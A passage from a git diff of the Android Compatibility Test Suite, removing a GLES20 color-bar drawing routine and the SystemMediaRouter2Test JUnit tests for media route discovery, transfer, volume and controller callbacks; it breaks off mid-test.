-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        GLES20.glEnable(GLES20.GL_SCISSOR_TEST);
-
-        for (int i = 0; i < COLOR_BARS.length; i++) {
-            Rect r = getColorBarRect(i, width, height);
-
-            GLES20.glScissor(r.left, r.top, r.width(), r.height());
-            final Color color = COLOR_BARS[i];
-            GLES20.glClearColor(color.red(), color.green(), color.blue(), 1.0f);
-            GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        }
-
-        Rect r = getColorBlockRect(frameIndex, width, height);
-        GLES20.glScissor(r.left, r.top, r.width(), r.height());
-        GLES20.glClearColor(0.5f, 0.5f, 0.5f, 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-        r.inset(BORDER_WIDTH, BORDER_WIDTH);
-        GLES20.glScissor(r.left, r.top, r.width(), r.height());
-        GLES20.glClearColor(COLOR_BLOCK.red(), COLOR_BLOCK.green(), COLOR_BLOCK.blue(), 1.0f);
-        GLES20.glClear(GLES20.GL_COLOR_BUFFER_BIT);
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/SystemMediaRouter2Test.java b/tests/tests/media/src/android/media/cts/SystemMediaRouter2Test.java
deleted file mode 100644
index 23e2494..0000000
--- a/tests/tests/media/src/android/media/cts/SystemMediaRouter2Test.java
+++ /dev/null
@@ -1,1049 +0,0 @@
-/*
- * Copyright 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.content.Context.AUDIO_SERVICE;
-import static android.media.MediaRoute2Info.FEATURE_LIVE_AUDIO;
-import static android.media.MediaRoute2Info.PLAYBACK_VOLUME_VARIABLE;
-import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SAMPLE;
-import static android.media.cts.StubMediaRoute2ProviderService.FEATURE_SPECIAL;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID1;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID2;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID3_SESSION_CREATION_FAILED;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID4_TO_SELECT_AND_DESELECT;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID5_TO_TRANSFER_TO;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_ID_VARIABLE_VOLUME;
-import static android.media.cts.StubMediaRoute2ProviderService.ROUTE_NAME2;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertTrue;
-
-import android.Manifest;
-import android.app.UiAutomation;
-import android.content.Context;
-import android.media.AudioManager;
-import android.media.MediaRoute2Info;
-import android.media.MediaRouter2;
-import android.media.MediaRouter2.ControllerCallback;
-import android.media.MediaRouter2.RouteCallback;
-import android.media.MediaRouter2.RoutingController;
-import android.media.MediaRouter2.TransferCallback;
-import android.media.MediaRouter2Manager;
-import android.media.RouteDiscoveryPreference;
-import android.media.RoutingSessionInfo;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.LargeTest;
-import android.text.TextUtils;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "The system should be able to bind to StubMediaRoute2ProviderService")
-@LargeTest
-@NonMediaMainlineTest
-public class SystemMediaRouter2Test {
-    private static final String TAG = "SystemMR2Test";
-
-    UiAutomation mUiAutomation;
-    Context mContext;
-    private MediaRouter2 mSystemRouter2ForCts;
-    private MediaRouter2 mAppRouter2;
-
-    private Executor mExecutor;
-    private AudioManager mAudioManager;
-    private StubMediaRoute2ProviderService mService;
-
-    private static final int TIMEOUT_MS = 5000;
-    private static final int WAIT_MS = 2000;
-
-    private RouteCallback mAppRouterPlaceHolderCallback = new RouteCallback() {};
-
-    private final List<RouteCallback> mRouteCallbacks = new ArrayList<>();
-    private final List<TransferCallback> mTransferCallbacks = new ArrayList<>();
-
-    public static final List<String> FEATURES_ALL = new ArrayList();
-    public static final List<String> FEATURES_SPECIAL = new ArrayList();
-
-    static {
-        FEATURES_ALL.add(FEATURE_SAMPLE);
-        FEATURES_ALL.add(FEATURE_SPECIAL);
-        FEATURES_ALL.add(FEATURE_LIVE_AUDIO);
-
-        FEATURES_SPECIAL.add(FEATURE_SPECIAL);
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
-        mUiAutomation.adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
-
-        mExecutor = Executors.newSingleThreadExecutor();
-        mAudioManager = (AudioManager) mContext.getSystemService(AUDIO_SERVICE);
-        MediaRouter2TestActivity.startActivity(mContext);
-
-        mSystemRouter2ForCts = MediaRouter2.getInstance(mContext, mContext.getPackageName());
-        mSystemRouter2ForCts.startScan();
-
-        mAppRouter2 = MediaRouter2.getInstance(mContext);
-        // In order to make the system bind to the test service,
-        // set a non-empty discovery preference.
-        List<String> features = new ArrayList<>();
-        features.add("A test feature");
-        RouteDiscoveryPreference preference =
-                new RouteDiscoveryPreference.Builder(features, false).build();
-        mRouteCallbacks.add(mAppRouterPlaceHolderCallback);
-        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback, preference);
-
-        new PollingCheck(TIMEOUT_MS) {
-            @Override
-            protected boolean check() {
-                StubMediaRoute2ProviderService service =
-                        StubMediaRoute2ProviderService.getInstance();
-                if (service != null) {
-                    mService = service;
-                    return true;
-                }
-                return false;
-            }
-        }.run();
-        mService.initializeRoutes();
-        mService.publishRoutes();
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        mSystemRouter2ForCts.stopScan();
-
-        MediaRouter2TestActivity.finishActivity();
-        if (mService != null) {
-            mService.clear();
-            mService = null;
-        }
-
-        // order matters (callbacks should be cleared at the last)
-        releaseAllSessions();
-        // unregister callbacks
-        clearCallbacks();
-
-        mUiAutomation.dropShellPermissionIdentity();
-    }
-
-    @Test
-    public void testGetInstanceWithInvalidPackageName() {
-        assertNull(MediaRouter2.getInstance(mContext, "com.non.existent.package.name"));
-    }
-
-    @Test
-    public void testGetInstanceReturnsSameInstance() {
-        assertSame(mSystemRouter2ForCts,
-                MediaRouter2.getInstance(mContext, mContext.getPackageName()));
-    }
-
-    @Test
-    public void testGetClientPackageName() {
-        assertEquals(mContext.getPackageName(), mSystemRouter2ForCts.getClientPackageName());
-    }
-
-    @Test
-    public void testGetSystemController() {
-        RoutingController controller = mSystemRouter2ForCts.getSystemController();
-        assertNotNull(controller);
-        // getSystemController() should always return the same instance.
-        assertSame(controller, mSystemRouter2ForCts.getSystemController());
-    }
-
-    @Test
-    public void testGetControllerReturnsNullForUnknownId() {
-        assertNull(mSystemRouter2ForCts.getController("nonExistentControllerId"));
-    }
-
-    @Test
-    public void testGetController() {
-        String systemControllerId = mSystemRouter2ForCts.getSystemController().getId();
-        RoutingController controllerById = mSystemRouter2ForCts.getController(systemControllerId);
-        assertNotNull(controllerById);
-        assertEquals(systemControllerId, controllerById.getId());
-    }
-
-    @Test
-    public void testGetAllRoutes() throws Exception {
-        waitAndGetRoutes(FEATURE_SPECIAL);
-
-        // Regardless of whether the app router registered its preference,
-        // getAllRoutes() will return all the routes.
-        boolean routeFound = false;
-        for (MediaRoute2Info route : mSystemRouter2ForCts.getAllRoutes()) {
-            if (route.getFeatures().contains(FEATURE_SPECIAL)) {
-                routeFound = true;
-                break;
-            }
-        }
-        assertTrue(routeFound);
-    }
-
-    @Test
-    public void testGetRoutes() throws Exception {
-        // Since the app router haven't registered any preference yet,
-        // only the system routes will come out after creation.
-        assertTrue(mSystemRouter2ForCts.getRoutes().isEmpty());
-
-        waitAndGetRoutes(FEATURE_SPECIAL);
-
-        boolean routeFound = false;
-        for (MediaRoute2Info route : mSystemRouter2ForCts.getRoutes()) {
-            if (route.getFeatures().contains(FEATURE_SPECIAL)) {
-                routeFound = true;
-                break;
-            }
-        }
-        assertTrue(routeFound);
-    }
-
-    @Test
-    public void testRouteCallbackOnRoutesAdded() throws Exception {
-        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
-                new RouteDiscoveryPreference.Builder(FEATURES_ALL, true).build());
-
-        MediaRoute2Info routeToAdd = new MediaRoute2Info.Builder("testRouteId", "testRouteName")
-                .addFeature(FEATURE_SAMPLE)
-                .build();
-
-        CountDownLatch addedLatch = new CountDownLatch(1);
-        RouteCallback routeCallback = new RouteCallback() {
-            @Override
-            public void onRoutesAdded(List<MediaRoute2Info> routes) {
-                for (MediaRoute2Info route : routes) {
-                    if (route.getOriginalId().equals(routeToAdd.getOriginalId())
-                            && route.getName().equals(routeToAdd.getName())) {
-                        addedLatch.countDown();
-                    }
-                }
-            }
-        };
-        mRouteCallbacks.add(routeCallback);
-        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
-                RouteDiscoveryPreference.EMPTY);
-
-        mService.addRoute(routeToAdd);
-        assertTrue(addedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-    }
-
-    @Test
-    public void testRouteCallbackOnRoutesRemoved() throws Exception {
-        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
-                new RouteDiscoveryPreference.Builder(FEATURES_ALL, true).build());
-
-        waitAndGetRoutes(FEATURE_SAMPLE);
-
-        CountDownLatch removedLatch = new CountDownLatch(1);
-        RouteCallback routeCallback = new RouteCallback() {
-            @Override
-            public void onRoutesRemoved(List<MediaRoute2Info> routes) {
-                for (MediaRoute2Info route : routes) {
-                    if (route.getOriginalId().equals(ROUTE_ID2)
-                            && route.getName().equals(ROUTE_NAME2)) {
-                        removedLatch.countDown();
-                        break;
-                    }
-                }
-            }
-        };
-        mRouteCallbacks.add(routeCallback);
-        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
-                RouteDiscoveryPreference.EMPTY);
-
-        mService.removeRoute(ROUTE_ID2);
-        assertTrue(removedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-    }
-
-    @Test
-    public void testRouteCallbackOnRoutesChanged() throws Exception {
-        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
-                new RouteDiscoveryPreference.Builder(FEATURES_ALL, true).build());
-
-        waitAndGetRoutes(FEATURE_SAMPLE);
-
-        MediaRoute2Info routeToChangeVolume = null;
-        for (MediaRoute2Info route : mSystemRouter2ForCts.getAllRoutes()) {
-            if (TextUtils.equals(ROUTE_ID_VARIABLE_VOLUME, route.getOriginalId())) {
-                routeToChangeVolume = route;
-                break;
-            }
-        }
-        assertNotNull(routeToChangeVolume);
-
-        int targetVolume = routeToChangeVolume.getVolume() + 1;
-        CountDownLatch changedLatch = new CountDownLatch(1);
-        RouteCallback routeCallback = new RouteCallback() {
-            @Override
-            public void onRoutesChanged(List<MediaRoute2Info> routes) {
-                for (MediaRoute2Info route : routes) {
-                    if (route.getOriginalId().equals(ROUTE_ID_VARIABLE_VOLUME)
-                            && route.getVolume() == targetVolume) {
-                        changedLatch.countDown();
-                        break;
-                    }
-                }
-            }
-        };
-        mRouteCallbacks.add(routeCallback);
-        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
-                RouteDiscoveryPreference.EMPTY);
-
-        mSystemRouter2ForCts.setRouteVolume(routeToChangeVolume, targetVolume);
-        assertTrue(changedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-    }
-
-
-    @Test
-    public void testRouteCallbackOnRoutesChanged_whenLocalVolumeChanged() throws Exception {
-        if (mAudioManager.isVolumeFixed()) {
-            return;
-        }
-
-        waitAndGetRoutes(FEATURE_LIVE_AUDIO);
-
-        final int maxVolume = mAudioManager.getStreamMaxVolume(AudioManager.STREAM_MUSIC);
-        final int minVolume = mAudioManager.getStreamMinVolume(AudioManager.STREAM_MUSIC);
-        final int originalVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
-
-        MediaRoute2Info selectedSystemRoute =
-                mSystemRouter2ForCts.getSystemController().getSelectedRoutes().get(0);
-
-        assertEquals(maxVolume, selectedSystemRoute.getVolumeMax());
-        assertEquals(originalVolume, selectedSystemRoute.getVolume());
-        assertEquals(PLAYBACK_VOLUME_VARIABLE, selectedSystemRoute.getVolumeHandling());
-
-        final int targetVolume = originalVolume == minVolume
-                ? originalVolume + 1 : originalVolume - 1;
-        final CountDownLatch latch = new CountDownLatch(1);
-        RouteCallback routeCallback = new RouteCallback() {
-            @Override
-            public void onRoutesChanged(List<MediaRoute2Info> routes) {
-                for (MediaRoute2Info route : routes) {
-                    if (route.getId().equals(selectedSystemRoute.getId())
-                            && route.getVolume() == targetVolume) {
-                        latch.countDown();
-                        break;
-                    }
-                }
-            }
-        };
-
-        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
-                RouteDiscoveryPreference.EMPTY);
-
-        try {
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, targetVolume, 0);
-            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            mSystemRouter2ForCts.unregisterRouteCallback(routeCallback);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
-        }
-    }
-
-    @Test
-    public void testRouteCallbackOnPreferredFeaturesChanged() throws Exception {
-        String testFeature = "testFeature";
-        List<String> testFeatures = new ArrayList<>();
-        testFeatures.add(testFeature);
-
-        CountDownLatch featuresChangedLatch = new CountDownLatch(1);
-        RouteCallback routeCallback = new RouteCallback() {
-            @Override
-            public void onPreferredFeaturesChanged(List<String> preferredFeatures) {
-                if (preferredFeatures.contains(testFeature)) {
-                    featuresChangedLatch.countDown();
-                }
-            }
-        };
-        mRouteCallbacks.add(routeCallback);
-        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
-                RouteDiscoveryPreference.EMPTY);
-
-        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
-                new RouteDiscoveryPreference.Builder(testFeatures, true).build());
-        assertTrue(featuresChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-    }
-
-    @Test
-    public void testTransferTo_succeeds_onTransferCalled() throws Exception {
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
-        MediaRoute2Info route = routes.get(ROUTE_ID1);
-        assertNotNull(route);
-
-        final CountDownLatch successLatch = new CountDownLatch(1);
-        final CountDownLatch failureLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
-                assertTrue(createRouteMap(newController.getSelectedRoutes()).containsKey(
-                        ROUTE_ID1));
-                controllers.add(newController);
-                successLatch.countDown();
-            }
-
-            @Override
-            public void onTransferFailure(MediaRoute2Info requestedRoute) {
-                failureLatch.countDown();
-            }
-        };
-
-        try {
-            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
-            mSystemRouter2ForCts.transferTo(route);
-            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            List<RoutingController> controllersFromGetControllers =
-                    mSystemRouter2ForCts.getControllers();
-            assertEquals(2, controllersFromGetControllers.size());
-            assertTrue(createRouteMap(controllersFromGetControllers.get(1).getSelectedRoutes())
-                    .containsKey(ROUTE_ID1));
-
-            // onSessionCreationFailed should not be called.
-            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    @Test
-    public void testTransferTo_fails_onTransferFailureCalled() throws Exception {
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
-        MediaRoute2Info route = routes.get(ROUTE_ID3_SESSION_CREATION_FAILED);
-        assertNotNull(route);
-
-        final CountDownLatch successLatch = new CountDownLatch(1);
-        final CountDownLatch failureLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                controllers.add(newController);
-                successLatch.countDown();
-            }
-
-            @Override
-            public void onTransferFailure(MediaRoute2Info requestedRoute) {
-                assertEquals(route, requestedRoute);
-                failureLatch.countDown();
-            }
-        };
-
-        try {
-            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
-            mSystemRouter2ForCts.transferTo(route);
-            assertTrue(failureLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            // onTransfer should not be called.
-            assertFalse(successLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    @Test
-    public void testTransferToTwice() throws Exception {
-        final CountDownLatch successLatch1 = new CountDownLatch(1);
-        final CountDownLatch successLatch2 = new CountDownLatch(1);
-        final CountDownLatch failureLatch = new CountDownLatch(1);
-        final CountDownLatch stopLatch = new CountDownLatch(1);
-        final CountDownLatch onReleaseSessionLatch = new CountDownLatch(1);
-
-        final List<RoutingController> createdControllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                createdControllers.add(newController);
-                if (successLatch1.getCount() > 0) {
-                    successLatch1.countDown();
-                } else {
-                    successLatch2.countDown();
-                }
-            }
-
-            @Override
-            public void onTransferFailure(MediaRoute2Info requestedRoute) {
-                failureLatch.countDown();
-            }
-
-            @Override
-            public void onStop(RoutingController controller) {
-                stopLatch.countDown();
-            }
-        };
-
-        StubMediaRoute2ProviderService service = mService;
-        if (service != null) {
-            service.setProxy(new StubMediaRoute2ProviderService.Proxy() {
-                @Override
-                public void onReleaseSession(long requestId, String sessionId) {
-                    onReleaseSessionLatch.countDown();
-                }
-            });
-        }
-
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
-        MediaRoute2Info route1 = routes.get(ROUTE_ID1);
-        MediaRoute2Info route2 = routes.get(ROUTE_ID2);
-        assertNotNull(route1);
-        assertNotNull(route2);
-
-        try {
-            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
-            mSystemRouter2ForCts.transferTo(route1);
-            assertTrue(successLatch1.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-            mSystemRouter2ForCts.transferTo(route2);
-            assertTrue(successLatch2.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            // onTransferFailure/onStop should not be called.
-            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-            assertFalse(stopLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-
-            // Created controllers should have proper info
-            assertEquals(2, createdControllers.size());
-            RoutingController controller1 = createdControllers.get(0);
-            RoutingController controller2 = createdControllers.get(1);
-
-            assertNotEquals(controller1.getId(), controller2.getId());
-            assertTrue(createRouteMap(controller1.getSelectedRoutes()).containsKey(
-                    ROUTE_ID1));
-            assertTrue(createRouteMap(controller2.getSelectedRoutes()).containsKey(
-                    ROUTE_ID2));
-
-            // Should be able to release transferred controllers.
-            controller1.release();
-            assertTrue(onReleaseSessionLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(createdControllers);
-            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    // Same test with testTransferTo_succeeds_onTransferCalled,
-    // but with MediaRouter2#transfer(controller, route) instead of transferTo(route).
-    @Test
-    public void testTransfer_succeeds_onTransferCalled() throws Exception {
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
-        MediaRoute2Info route = routes.get(ROUTE_ID1);
-        assertNotNull(route);
-
-        final CountDownLatch successLatch = new CountDownLatch(1);
-        final CountDownLatch failureLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
-                assertTrue(createRouteMap(newController.getSelectedRoutes())
-                        .containsKey(ROUTE_ID1));
-                controllers.add(newController);
-                successLatch.countDown();
-            }
-
-            @Override
-            public void onTransferFailure(MediaRoute2Info requestedRoute) {
-                failureLatch.countDown();
-            }
-        };
-
-        try {
-            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
-            mSystemRouter2ForCts.transfer(mSystemRouter2ForCts.getSystemController(), route);
-            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            List<RoutingController> controllersFromGetControllers =
-                    mSystemRouter2ForCts.getControllers();
-            assertEquals(2, controllersFromGetControllers.size());
-            assertTrue(createRouteMap(controllersFromGetControllers.get(1).getSelectedRoutes())
-                    .containsKey(ROUTE_ID1));
-
-            // onSessionCreationFailed should not be called.
-            assertFalse(failureLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    @Test
-    public void testStop() throws Exception {
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
-        MediaRoute2Info route = routes.get(ROUTE_ID1);
-        assertNotNull(route);
-
-        final CountDownLatch onTransferLatch = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
-        final CountDownLatch onStopLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
-                assertTrue(createRouteMap(newController.getSelectedRoutes())
-                        .containsKey(ROUTE_ID1));
-                controllers.add(newController);
-                onTransferLatch.countDown();
-            }
-            @Override
-            public void onStop(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                onStopLatch.countDown();
-            }
-        };
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                onControllerUpdatedLatch.countDown();
-            }
-        };
-
-        try {
-            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
-            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
-            mSystemRouter2ForCts.transferTo(route);
-            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            assertEquals(1, controllers.size());
-            RoutingController controller = controllers.get(0);
-
-            mSystemRouter2ForCts.stop();
-
-            // Select ROUTE_ID4_TO_SELECT_AND_DESELECT
-            MediaRoute2Info routeToSelect = routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT);
-            assertNotNull(routeToSelect);
-
-            // This call should be ignored.
-            // The onControllerUpdated() shouldn't be called.
-            controller.selectRoute(routeToSelect);
-            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-
-            // onStop should be called.
-            assertTrue(onStopLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
-            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    @Test
-    public void testRoutingControllerSelectAndDeselectRoute() throws Exception {
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
-        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
-        assertNotNull(routeToBegin);
-
-        final CountDownLatch onTransferLatch = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatchForSelect = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatchForDeselect = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with ROUTE_ID1
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
-                assertTrue(createRouteMap(newController.getSelectedRoutes())
-                        .containsKey(ROUTE_ID1));
-                controllers.add(newController);
-                onTransferLatch.countDown();
-            }
-        };
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-
-                if (onControllerUpdatedLatchForSelect.getCount() != 0) {
-                    assertEquals(2, controller.getSelectedRoutes().size());
-                    assertTrue(createRouteMap(controller.getSelectedRoutes())
-                            .containsKey(ROUTE_ID1));
-                    assertTrue(createRouteMap(controller.getSelectedRoutes())
-                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-                    assertFalse(createRouteMap(controller.getSelectableRoutes())
-                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-                    assertTrue(createRouteMap(controller.getDeselectableRoutes())
-                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-
-                    controllers.add(controller);
-                    onControllerUpdatedLatchForSelect.countDown();
-                } else {
-                    assertEquals(1, controller.getSelectedRoutes().size());
-                    assertTrue(createRouteMap(controller.getSelectedRoutes())
-                            .containsKey(ROUTE_ID1));
-                    assertFalse(createRouteMap(controller.getSelectedRoutes())
-                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-                    assertTrue(createRouteMap(controller.getSelectableRoutes())
-                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-                    assertFalse(createRouteMap(controller.getDeselectableRoutes())
-                            .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-
-                    onControllerUpdatedLatchForDeselect.countDown();
-                }
-            }
-        };
-
-        try {
-            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
-            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
-            mSystemRouter2ForCts.transferTo(routeToBegin);
-            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            assertEquals(1, controllers.size());
-            RoutingController controller = controllers.get(0);
-            assertTrue(createRouteMap(controller.getSelectableRoutes())
-                    .containsKey(ROUTE_ID4_TO_SELECT_AND_DESELECT));
-
-            // Select ROUTE_ID4_TO_SELECT_AND_DESELECT
-            MediaRoute2Info routeToSelectAndDeselect = routes.get(
-                    ROUTE_ID4_TO_SELECT_AND_DESELECT);
-            assertNotNull(routeToSelectAndDeselect);
-
-            controller.selectRoute(routeToSelectAndDeselect);
-            assertTrue(onControllerUpdatedLatchForSelect.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            // Note that the updated controller is a different instance.
-            assertEquals(2, controllers.size());
-            assertEquals(controllers.get(0).getId(), controllers.get(1).getId());
-            RoutingController updatedController = controllers.get(1);
-            updatedController.deselectRoute(routeToSelectAndDeselect);
-            assertTrue(onControllerUpdatedLatchForDeselect.await(
-                    TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
-            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
-        }
-    }
-
-    @Test
-    public void testRoutingControllerTransferToRoute() throws Exception {
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
-        MediaRoute2Info routeToBegin = routes.get(ROUTE_ID1);
-        assertNotNull(routeToBegin);
-
-        final CountDownLatch onTransferLatch = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with ROUTE_ID1
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
-                assertTrue(createRouteMap(newController.getSelectedRoutes())
-                        .containsKey(ROUTE_ID1));
-                controllers.add(newController);
